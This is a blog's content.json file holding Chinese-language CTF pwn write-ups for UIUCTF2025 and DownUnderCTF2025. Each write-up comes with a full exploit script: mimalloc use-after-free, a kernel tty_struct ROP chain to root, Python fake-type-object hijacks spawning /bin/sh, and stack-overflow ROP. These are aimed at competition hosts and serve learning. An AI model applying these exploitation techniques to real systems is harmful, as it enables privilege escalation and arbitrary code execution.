Repository navigation
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 128 KB
/
Copy pathcontent.json
File metadata and controls
1 lines (1 loc) · 128 KB
1
{"meta":{"title":"blog","subtitle":"","description":"","author":"St4ckC00ki3","url":"https://stackc00ki3.github.io","root":"/"},"pages":[{"title":"所有分类","date":"2025-04-06T14:45:10.174Z","updated":"2025-04-06T14:45:10.174Z","comments":true,"path":"categories/index.html","permalink":"https://stackc00ki3.github.io/categories/index.html","excerpt":"","text":""},{"title":"changelog","date":"2025-04-07T02:10:00.000Z","updated":"2025-04-07T02:10:47.141Z","comments":true,"path":"changelog/index.html","permalink":"https://stackc00ki3.github.io/changelog/index.html","excerpt":"","text":""},{"title":"Page","date":"2013-12-26T14:52:56.000Z","updated":"2025-04-06T14:45:26.125Z","comments":true,"path":"page/index.html","permalink":"https://stackc00ki3.github.io/page/index.html","excerpt":"","text":"This is a page test."},{"title":"","date":"2025-04-06T14:44:54.460Z","updated":"2025-04-06T14:44:54.460Z","comments":true,"path":"about/index.html","permalink":"https://stackc00ki3.github.io/about/index.html","excerpt":"","text":""},{"title":"所有标签","date":"2025-04-06T14:45:35.856Z","updated":"2025-04-06T14:45:35.856Z","comments":true,"path":"tags/index.html","permalink":"https://stackc00ki3.github.io/tags/index.html","excerpt":"","text":""},{"title":"friends","date":"2025-04-04T06:18:57.000Z","updated":"2025-04-04T06:18:57.373Z","comments":true,"path":"friends/index.html","permalink":"https://stackc00ki3.github.io/friends/index.html","excerpt":"","text":""}],"posts":[{"title":"UIUCTF2025","slug":"UIUCTF2025","date":"2025-07-28T08:42:18.000Z","updated":"2025-07-28T10:13:10.734Z","comments":true,"path":"2025/07/28/UIUCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/07/28/UIUCTF2025/","excerpt":"mimalloc?","text":"QAS回答对哈希 0x555 对应的值即可获得flag exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101#!/usr/bin/env python""" author: St4ckC00ki3"""from pwn import *filename = "chal"libcname = ""host = "qas.chal.uiuc.tf"port = 1337elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname != "": libc = ELF(libcname)gs = """b main"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef generate_quantum_entropy(): seed = getattr(generate_quantum_entropy, "seed", 0x42) seed = ((seed << 3) ^ (seed >> 5)) + 0x7f seed &= 0xFF generate_quantum_entropy.seed = seed return seeddef quantum_hash(input_val, padding, entropy): # input_val: int (equivalent to input.val) # padding: tuple/list of two quantum_byte (input.padding[0], input.padding[1]) # entropy: list of 8 quantum_byte hash_ = input_val hash_ ^= (entropy[0] << 8) | entropy[1] hash_ ^= (entropy[2] << 4) | (entropy[3] >> 4) hash_ += (entropy[4] * entropy[5]) & 0xff hash_ ^= entropy[6] ^ entropy[7] hash_ |= 0xeee hash_ ^= (padding[0] << 8) | padding[1] return hash_entro = [generate_quantum_entropy() for _ in range(8)]def brute(): for inval in range(0, 0xffff): for pad0 in range(0, 0xff+1): for pad1 in range(0, 0xff+1): if quantum_hash(inval, [pad0,pad1], entro) == 0x555: return inval, [pad0,pad1]def exp(): inval, pad = brute() print(f"inval, pad: {inval}, {pad}") ru( b'Please enter your quantum authentication code: ') pay = p16(inval) + p8(pad[0]) + p8(pad[1]) pay = u32(pay) sl(str(pay)) ia()exp() do re mi 题目功能标准菜单题add: malloc(128)dele: 未清零指针导致 uaf 利用思路题目使用 mimalloc 参考资料:https://bbs.kanxue.com/thread-278279.htm mimalloc TLDRmimalloc 从大到小的内存结构为 segment > page > block 第一个 page 的 page->free 会初始化为指向 有 0x20 个空闲 block 的单链表 释放内存时会把 block 插入 page->local_free 链表头部 分配内存时会优先从 page->free 中取,如果取尽则将 page->local_free 移到 page->free,然后从 page->free 中取,过程没有合法性检查 释放了的内存块的 +0 偏移为 next 指针,指向下一个释放的内存块 page 中存在指向 _mi_heap_main 的指针 流程 分配并释放一个block 读取 释放的 block,泄露 next 指针,从而获得 heap base uaf 篡改 next 指针为 _mi_heap_main 指针 - 0x8 处 (因为要让 fake block 的 next 指针为 0,方便后续继续利用) 耗尽 page->free,分配到 _mi_heap_main 指针 - 0x8,泄露出 mimalloc base 和与之相邻的 ld_base uaf 篡改 next 指针到 musl ld 的 stdout,篡改 stdout->write 为 system puts 触发 system("/bin/sh") exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152#!/usr/bin/env python""" author: St4ckC00ki3"""from pwncli import *filename = "chal"libcname = ""host = "doremi.chal.uiuc.tf"port = 1337# host = "127.0.0.1"# port = 1337elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname != "": libc = ELF(libcname)gs = """"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port, ssl=True) else: return remote(host, port) #,return process(elf.path)p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.2): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef cmd(i): sla(b'YAHNC> ', i)def add(idx): cmd('1') ru("Position? (0-15): ") sl(str(idx))def edit(idx,msg): cmd('4') ru("Position? (0-15): ") sl(str(idx)) ru("Content? (127 max): ") s(msg)def show(idx): cmd('3') ru("Position? (0-15): ") sl(str(idx))def dele(idx): cmd('2') ru("Position? (0-15): ") sl(str(idx))def exp(): add(0) show(0) heap = leak_address() leak_ex2(heap) heap_main = heap - 0xff40 - 8 leak_ex2(heap_main) # local free: 0 dele(0) # exhaust page->free for i in range(0x1f): add(1) # local free: 0 -> heap_main_ptr-0x8 edit(0, p64(heap_main)) # get heap_main_ptr chunk add(2) add(2) # leak mi_base via _mi_heap_main show(2) r(8) _mi_heap_main = leak_address() leak_ex2(_mi_heap_main) mi_base = _mi_heap_main - 0x2b100 leak_ex2(mi_base) ld_base = mi_base + 0x33000 leak_ex2(ld_base) stdout = ld_base + 0x00A2280 leak_ex2(stdout) system = ld_base + 0x0005BB7E # corrupt stdout # local free: 0 -> stdout dele(0) edit(0, p64(stdout)) add(3) add(3) payload = b'/bin/sh\\x00' payload += b'X' * 64 payload += p64(system) edit(3, payload) ia()exp() baby kernel题目功能标准菜单内核堆add: 允许分配任意大小dele: 未清零指针造成 uaf 利用思路 分配 0x2e0 并释放,创建 tty_struct 到 释放的堆块 打印堆块泄露 kernel base 篡改 tty_struct->ops 到 fake ops,构造 rop rop 链先 commit_creds(&init_cred) 获得 root,然后 swapgs iret 返回到 用户态的函数 用户态函数调用 /bin/sh 获得 root shell exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114#include "pwnc.h"int tty_fd,dev_fd;void new(uint64_t size){ ioctl(dev_fd,0x4008B900,&size);}void delete(){ ioctl(dev_fd,0xB901,0);}void edit(char* arg){ ioctl(dev_fd,0x4001B902,arg);}void show(char* out){ ioctl(dev_fd, 0x8001B902, out);}#define KADDR(addr) ((uint64_t)addr - 0xffffffff81000000 + kbase)uint64_t kbase = 0;size_t user_cs, user_ss, user_rflags, user_sp;void save_status(void){ asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\\033[34m\\033[1m[*] Status has been saved.\\033[0m");}void get_root_shell(void){ if(getuid()) { panic("[x] Failed to get the root!"); sleep(5); exit(EXIT_FAILURE); } info("[+] Successful to get the root."); info("[*] Execve root shell now..."); system("/bin/sh"); /* to exit the process normally, instead of potential segmentation fault */ exit(EXIT_SUCCESS);}int main(){ save_status(); dev_fd = chk(open("/dev/vuln",O_RDWR)); new(0x2e0); delete(); tty_fd = chk(open("dev/ptmx",O_RDWR | O_NOCTTY)); uint64_t *leak = malloc(0x2e0); show(leak); kbase = leak[4] - 0x1285100; info("kbase: 0x%lx\\n", kbase); uint64_t tty_addr = leak[8] - 0x40; info("tty: 0x%lx\\n", tty_addr); uint64_t modprobe_path = kbase + 0x1b3f600; info("modprobe_path: 0x%lx\\n", modprobe_path); uint64_t leave_ret = kbase + 0x324e3; uint64_t pop_rsp = kbase + 0x15b2af; uint64_t pop_rdi = KADDR(0xffffffff8104b80d); uint64_t prepare_kernel_cred = kbase + 0xb9c20; uint64_t init_cred = kbase + 0x1a52fc0; uint64_t commit_creds = kbase + 0xb9970; // uint64_t swapgs = kbase + 0x10016c1; uint64_t swapgs = kbase + 0x1001706; leak[0] = 0x5401; leak[1] = pop_rsp; // retaddr #2 leak[2] = tty_addr+0x200; leak[4] = tty_addr+0x100-0x60; // ops leak[0x100/8] = leave_ret; // retaddr #1 uint64_t *ptr = leak + 0x200/8; *ptr++ = pop_rdi; // retaddr #3 *ptr++ = init_cred; *ptr++ = commit_creds; *ptr++ = swapgs; *ptr++ = get_root_shell; *ptr++ = user_cs; *ptr++ = user_rflags; *ptr++ = user_sp; // userland stack balance *ptr++ = user_ss; edit(leak); ioctl(tty_fd, 0xdeadbeef, 0x1111111);}","categories":[],"tags":[{"name":"mimalloc","slug":"mimalloc","permalink":"https://stackc00ki3.github.io/tags/mimalloc/"},{"name":"tty_struct","slug":"tty-struct","permalink":"https://stackc00ki3.github.io/tags/tty-struct/"}]},{"title":"DownUnderCTF2025","slug":"DownUnderCTF2025","date":"2025-07-21T08:25:48.000Z","updated":"2025-07-28T08:42:20.222Z","comments":true,"path":"2025/07/21/DownUnderCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/07/21/DownUnderCTF2025/","excerpt":"cool python pwn","text":"fakeobj题目描述Dear MNGA, send me your best fake snake object Regards,joseph 题目功能12345678910111213141516#!/usr/bin/env python3import ctypesobj = {}print(f"addrof(obj) = {hex(id(obj))}")libc = ctypes.CDLL(None)system = ctypes.cast(libc.system, ctypes.c_void_p).valueprint(f"system = {hex(system or 0)}")fakeobj_data = bytes.fromhex(input("fakeobj: "))for i in range(72): ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]print(obj) 题目给出了 obj 对象的地址和 system 函数的地址,然后读入 72 字节,写入 obj 对象的位置 利用思路参考资料:Exploiting a Use-After-Free for code execution in every version of Python 3 从中可以知道 python 对象基本结构体如下: 1234typedef struct _object { Py_ssize_t ob_refcnt; PyTypeObject *ob_type;} PyObject; ob_refcnt 是引用计数,ob_type 指向对象所属的类型结构体 PyTypeObject而 PyTypeObject 结构体中存在 vtable,有很多函数指针可以劫持 因为知道了 obj 的地址,所以可以在 object head 下面伪造一个 PyTypeObject 并让 ob_type 指向伪造的结构体 经过调试发现,print(obj) 时第一个调用的 vtable 的函数指针应该是 PyTypeObject->tp_str 这个函数指针在 PyTypeObject 中偏移 0x88 ,被函数 PyObject_Str 调用 https://github.com/python/cpython/blob/1e672935b44e084439527507a865b94a4c1315c3/Objects/object.c#L822 1res = (*Py_TYPE(v)->tp_str)(v); 题目限制只能读入 72 字节,所以 ob_type 设置为 &fake_PyTypeObject - 0x88,使得 tp_str 正好落在 obj+0x10 的位置,紧跟在 ob_type 后,设置为 system 因为调用这个函数指针的第一个参数是 _object 的地址,所以篡改 ob_refcnt 为 /bin/sh\\x00,又因为引用计数会在运行时 +1 ,所以第一个字节要 -1 ,变成 ./bin/sh\\x00 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596#!/usr/bin/env python""" author: St4ckC00ki3"""from pwncli import *filename = "/usr/bin/python3"libcname = ""host = "chal.2025.ductf.net"port = 30001elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname != "": libc = ELF(libcname)gs = """b *0x5856e0b *0x585780"""def start(): if args.GDB: return gdb.debug([elf.path, "fakeobj.py"], gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process([elf.path, "fakeobj.py"])p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.2): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef exp(): ru(b'addrof(obj) = ') obj_addr = int(p.recvuntil('\\n', True), 16) leak_ex2(obj_addr) ru(b'system = ') system = int(p.recvuntil('\\n', True), 16) leak_ex2(system) ru(b'fakeobj: ') pay = flat( b".bin/sh".ljust(8, b'\\x00'), # refcount, p64(obj_addr-0x88+0x10), # pointer to fake type object system ) pay = pay.ljust(72, b'\\x00') sl(pay.hex()) ia()exp() Mysterious Vault题目描述Dear MNGA, You’ve discovered a mysterious vault exposed on a server - surely, if you can break in, great rewards will follow… Regards,ItsIronicIInsist 题目功能出题人好心的提供了源代码 主程序 mysterious_vault 先读入密码到共享内存,然后 fork 后 execve 启动两个子进程 password_handler_3000 和 password_handler_3001 ,启动前还分别为两个子进程 chroot 隔离环境,使得他们只能分别读取到 checker1-trusted-env/ 和 checker2-trusted-env/ 中的文件 3000 和 3001 都是由源码 password_handler_300X.c 静态编译而来,但 3000 是使用的 gcc,而 3001 使用的 clang 子进程先启动了沙盒 并且关掉了 标准输入、输出、错误 然后从共享内存中拷贝密码,对密码检查,不通过的话返回 1 错误码告知主进程,主进程失败结束。 如果两个 handler 的退出码为 0 即检查通过,mysterious_vault 会直接把共享内存当作密码拿出来进行检查(之前一直是共享内存 + 0x8 为密码),这次是和真正的密码字符串 memcmp,如果通过会调用 get_flag 打印出 flag。 漏洞点 密码长度最大为 0x200,而子程序的 password 仅有 200 字节大小,从共享内存拷贝时栈溢出。 handler 的检查可以用 ‘\\x00’截断绕过 1if (strcspn(password, "password") != strlen(password)) { 利用思路exit 中会先 syscall exit_group ,这导致即使是正常情况下两个 handler 都会因为违反沙盒规则而 SIGSYS 异常终止 并且 3000 和 3001 的栈布局不同,返回地址的偏移 3001 在 3000 之前,gadget 也不同 而经过调试我发现 3001 中有 gadget 等效于 exit($rbp-4) 只要控制 *($rbp-4) 为 0即可 123.text:000000000041C598 mov esi, [rbp-4].text:000000000041C59B mov edi, 3Ch ; sys_exit.text:000000000041C5A0 call sub_401980 ; syscall 而 3000 需要用 rop 链从 checker1-trusted-env/password 真密码文件中读取前 0x8 字节到共享内存的开头,把之前用作存储密码长度占用的 0x8 字节修复为真密码。 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161#!/usr/bin/env python""" author: St4ckC00ki3"""from pwncli import *filename = "mysterious_vault"libcname = ""host = "chal.2025.ductf.net"port = 30019elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname != "": libc = ELF(libcname)gs = """set follow-fork-mode child"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.2): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef cmd(i): sla("", i)def add(size,msg): cmd('1') ru('') s(str(size)) ru('') s(msg)def edit(idx,msg): cmd('2') ru('') s(str(idx)) ru('') s(msg)def show(idx): cmd('3') ru('') s(str(idx))def dele(idx): cmd('4') ru('') s(str(idx))def exp(): ru( b'ACCESS REQUIRED. ENTER USERNAME: ') s("admin") ru( b'ENTER PASSCODE: ') ret_3001 = 0x04012A8 pop_rdi = 0x0000000000402371 pop_rsi = 0x0000000000404fe2 pop_rdx_rbx = 0x0000000000456df7 pop_rax = 0x0000000000418462 syscall = 0x0418e10 syscall_gadget = 0x418e27 # pay = flat( # b"\\x00".ljust(0xd0,b'\\x00'), # 0x0000000000456df7, # 3001 rbp = bss # 0x4017DA ,# 3001 ret # pop_rdi, # 3000 ret # ) passwd = b"\\x31\\xd2\\x48\\x8d\\x35\\x1c\\x00\\x00\\x00\\x80\\xfa\\x1b\\x7d\\x0a\\x80\\x36\\x42\\xfe\\xc2\\x48\\xff\\xc6\\xeb\\xf1\\xbf\\x01\\x00\\x00\\x00\\x48\\x29\\xd6\\x89\\xf8\\x0f\\x05\\xc3\\x1b\\x2d\\x37\\x62\\x24\\x2d\\x37\\x2c\\x26\\x62\\x36\\x2a\\x27\\x62\\x27\\x23\\x31\\x36\\x27\\x30\\x62\\x27\\x25\\x25\\x62\\x78\\x6b" pay = flat( passwd[8:].ljust(0xd0-0x10,b'\\x00'), b"password\\x00".ljust(0x10, b'\\x00'), 0x0000000000456df7, # 3001 rbp = bss 0x041C598,# 3001 ret = sys_exit(rbp-4) 0xdeadbeef, # 3000 rbp # 3000 ret # sys_open("password",0) pop_rdi, 2, pop_rsi, 0x1337000+0xc8, pop_rdx_rbx, 0, 0, syscall, # sys_read(fd, shared_buf, 0x8) pop_rax, 0, pop_rdi, 0, pop_rsi, 0x1337000, pop_rdx_rbx, 8, 0, syscall_gadget, # sys_exit(0) pop_rdi, 60, pop_rsi, 0, syscall ) s(pay) ia()exp() BLAST题目描述Dear MNGA, BEGIN TRANSMISSION I HEARD ALL THE BEST MATRIX LIBRARIES WERE WRITTEN IN FORTRAN SO I TRIED MY HAND AT IMPLEMENTING MY OWN. FOR SOME REASON IT KEEPS CRASHING THOUGH?END TRANSMISSION Regards,wednesday 漏洞点FORTRAN 语言的数组下标从 1 开始而非 0,而题目中数组操作都是从下标 0 开始遍历,导致可以泄露/写矩阵之前的内存。 flag 读取到 bss 了 功能1和3 配合能泄露 栈地址和 pie功能2 栈溢出,刚好能控制 rbp 和返回地址 利用思路位于 0x1DEE 的 gadget,可以泄露 $rbp-0x10-17 处的 16字节内存内容 123456.text:0000000000001DEE lea rdx, p_n ; p_n.text:0000000000001DF5 lea rcx, p_m.text:0000000000001DFC lea rax, [rbp+p_a].text:0000000000001E00 mov rsi, rcx ; p_m.text:0000000000001E03 mov rdi, rax ; p_a.text:0000000000001E06 call print_matrix_ 通过这个 gadget,控制 $rbp-0x10-17 为 bss 上的 flag 来泄露flag 需要多次访问,每次泄露16字节的flag EXPCredit:@LittFlower: 矩阵逆运算,泄露地址和达成栈溢出部分 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293from pwn import *from sys import argvfrom sage.all import *proc = "./main"context.log_level = "debug"context.binary = proccontext.terminal = ["tmux", "neww"]elf = ELF(proc, checksec=False)flag = ""def exp(offset): global flag io = remote("chal.2025.ductf.net", 30002) if args.R else process(proc) if args.G: gdb.attach(io, """ bbase 0x00000001620 """) def choose(idx): io.sendlineafter(b"> \\n", str(idx).encode()) choose(1) b = io.recvuntil(b"MENU:", drop=True).split(b"\\n")[1:-1] b = [(int(i.lstrip().decode())) for i in b] print(b) choose(3) tmp_A = io.recvuntil(b"MENU:", drop=True).split(b"\\n")[:-1] A_list = [(int((i.lstrip().decode()))) for i in tmp_A] print(A_list) B_list = [0, 211, 48, 39, 252, 19, 2, 2, 144, 105, 250, 228, 146, 192, 206, 216, 81, 211, 48, 39, 252, 19, 2, 2, 144, 105, 250, 228, 146, 192, 206, 216, 81, 61, 194, 94, 64, 108, 106, 230, 14, 96, 251, 55, 120, 152, 248, 93, 174, 81, 82, 46, 173, 222, 167, 219, 206, 87, 141, 82, 213, 164, 39, 188, 246, 128, 1, 112, 106, 197, 121, 22, 134, 49, 173, 192, 166, 100, 22, 222, 244, 107, 130, 156, 154, 207, 9, 24, 76, 238, 172, 134, 105, 41, 203, 42, 255, 23, 160, 180, 2, 37, 15, 100, 132, 92, 233, 63, 139, 216, 36, 146, 206, 97, 14, 85, 193, 139, 79, 3, 137, 90, 190, 229, 63, 251, 99, 200, 194, 133, 83, 164, 196, 54, 184, 168, 28, 138, 69, 94, 92, 171, 160, 60, 228, 198, 247, 10, 180, 57, 79, 11, 5, 95, 129, 79, 103, 56, 229, 130, 237, 163, 126, 30, 114, 18, 223, 138, 157, 96, 135, 54, 190, 26, 241, 190, 151, 97, 88, 123, 181, 153, 223, 192, 42, 218, 177, 114, 222, 226, 114, 194, 65, 239, 62, 239, 185, 140, 176, 176, 81, 41, 17, 111, 25, 202, 231, 161, 132, 110, 194, 140, 125, 225, 163, 85, 169, 167, 167, 159, 111, 164, 93, 50, 170, 70, 192, 179, 46, 207, 203, 40, 143, 100, 21, 179, 233, 204, 144, 203, 238, 17, 196, 174, 228, 4, 229, 90, 254, 122, 34, 64, 38, 99, 165, 132] B = matrix(Zmod(256), 16, 16, B_list) B = B.T B_inv = B.inverse() A = matrix(Zmod(256), 16, 1, A_list) C = B_inv * A % 256 stack_addr = u64(bytes(C.list()[1:9])) pie_addr = u64(bytes(C.list()[9:]).ljust(8, b"\\x00")) - 0x1d1f - 0xcf print(f"pie_addr => {hex(pie_addr)}\\nstack_addr => {hex(stack_addr)}") choose(2) target_addr = pie_addr + 0x1dee print(f"target: {hex(target_addr)}") C_list = [0] for i in range(15): # rbp + retaddr C_list.append((p64(pie_addr+0x40c0+0x10+17+16*offset) + p64(target_addr))[i]) C = matrix(Zmod(256), 16, 1, C_list) # 求解 C,使得 A = B * C ⇒ C = B^{-1} * A A = B_inv * C % 256 print(A) # A = [174, 128, 87, 7, 126, 64, 134, 137, 47, 30, 168, 225, 162, 130, 231, 181] for i in A.list(): io.sendline(str(i).encode()) flag_part = io.recvuntil(b"MENU:\\n", drop=True).split(b"\\n")[:-1] flag_part = [(chr(int(i.lstrip().decode()))) for i in flag_part] flag += "".join(flag_part) io.close()for i in range(5): exp(i)print(f"flag: {flag}") rw题目描述Dear MNGA, a read and a write, what more could you ask for? Regards,joseph 题目功能Ubuntu GLIBC 2.35-0ubuntu3.8 Python 3.10.12 12345678910111213141516while True: try: inp = input("> ") cmd, idx, *val = inp.split() idx = int(idx) match cmd: case "r": print(a[idx]) case "w": ctypes.cast( id(a) + idx, ctypes.POINTER(ctypes.c_char) )[0] = int(val[0]) case _: break except Exception as e: print("error:", e) 利用思路python list 结构体如下: 123456typedef struct { PyObject ob_base; Py_ssize_t ob_size; PyObject **ob_item; Py_ssize_t allocated;} PyListObject; 这次没有直接泄露地址了,但可以任意 offset 写对象a的内存 首先得实现泄露地址,我的做法是部分写改其中一个 item 的类型为 PyUnicode_Type ,然后把字符串大小改大,利用 r 功能打印出字符串泄露地址 PyUnicode_Type 结构体如下: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152//https://github.com/python/cpython/blob/f575588ccf27d8d54a1e99cfda944f2614b3255c/Include/cpython/unicodeobject.h#L111typedef struct { /* There are 3 forms of Unicode strings: - compact ascii: * structure = PyASCIIObject * test: PyUnicode_IS_COMPACT_ASCII(op) * kind = PyUnicode_1BYTE_KIND * compact = 1 * ascii = 1 * (length is the length of the utf8) * (data starts just after the structure) * (since ASCII is decoded from UTF-8, the utf8 string are the data) - compact: * structure = PyCompactUnicodeObject * test: PyUnicode_IS_COMPACT(op) && !PyUnicode_IS_ASCII(op) * kind = PyUnicode_1BYTE_KIND, PyUnicode_2BYTE_KIND or PyUnicode_4BYTE_KIND * compact = 1 * ascii = 0 * utf8 is not shared with data * utf8_length = 0 if utf8 is NULL * (data starts just after the structure) - legacy string: * structure = PyUnicodeObject structure * test: !PyUnicode_IS_COMPACT(op) * kind = PyUnicode_1BYTE_KIND, PyUnicode_2BYTE_KIND or PyUnicode_4BYTE_KIND * compact = 0 * data.any is not NULL * utf8 is shared and utf8_length = length with data.any if ascii = 1 * utf8_length = 0 if utf8 is NULL Compact strings use only one memory block (structure + characters), whereas legacy strings use one block for the structure and one block for characters. Legacy strings are created by subclasses of Unicode. See also _PyUnicode_CheckConsistency(). */ PyObject_HEAD Py_ssize_t length; /* Number of code points in the string */ Py_hash_t hash; /* Hash value; -1 if not set */ /* Ensure 4 byte alignment for PyUnicode_DATA(), see gh-63736 on m68k. */ _Py_ALIGNED_DEF(4, struct _PyUnicodeObject_state) state;} PyASCIIObject; 从字符串结构体可以看到有三种字符串类型,这里设置为 compact 类型直接泄露出结构体后面的内存。 经过调试发现 a 与 a[1] 的偏移固定,篡改 a[1] 泄露出 pie 然后将 a[1] 类型改为 PyBytesIter_Type 再打印可以泄露出当前对象也就是 a[1] 的地址 最后伪造 PyTypeObject 劫持 vtable 上的函数指针,和 fakeobj 题目一样 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141#!/usr/bin/env python""" author: St4ckC00ki3"""from pwncli import *filename = "/usr/bin/python3"libcname = ""host = "chal.2025.ductf.net"port = 30004elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname != "": libc = ELF(libcname)gs = """"""def start(): if args.GDB: return gdb.debug([elf.path, "rw.py"], gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process([elf.path, "rw.py"])p = start()def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\\x00"))def leak_address2(timeout=0.2): contains = b"\\x7f" if context.bits == 64 else b"\\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])def dbg(): if args.AT: gdb.attach(p, gs) pause()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64# Your exploit heredef read(idx): ru(b'> ') sl(f"r {idx} aa")def write(off, val): ru(b'> ') sl(f"w {off} {val}")def writestr(off, val): for i in range(len(val)): write(off+i, val[i])def exp(): # ru(b'addrof(obj) = ') # obj_addr = int(p.recvuntil('\\n', True), 16) # leak_ex2(obj_addr) # leak pie # a[2] type = PyUnicode_Type item_2_offset = -0x1d100 # 0x100 write(item_2_offset+8, 0xc0) write(item_2_offset+8+1, 0x67) # a[2] length write(item_2_offset+8*2, 0xff) # a[2] state = compact ascii write(item_2_offset+8*4, 0xe5) read(2) test = r(1) if test == b'\\x3c' or test == b'[': raise Exception r(8*2+7) pie = leak_address() - 0x5745c0 leak_ex2(pie) # leak a[2] obj addr # a[2] type = PyBytesIter_Type pyBytesIterType = pie + 0x574fe0 leak_ex2(pyBytesIterType) writestr(item_2_offset+8, p16(pyBytesIterType & 0xffff)) read(2) ru(b'<bytes_iterator object at ') obj = int(p.recvuntil(b'>', True),16) leak_ex2(obj) # a[2] refcount = "/bin/sh\\x00" # a[2] type = fake_type_struct system = pie + 0x6F460 pay = flat( b".bin/sh".ljust(8, b'\\x00'), # refcount, p64(obj-0x88+0x10), # pointer to fake type object system ) writestr(item_2_offset, pay) # dbg() read(2) ia()while True: try: exp() except Exception: p.close() p = start() except 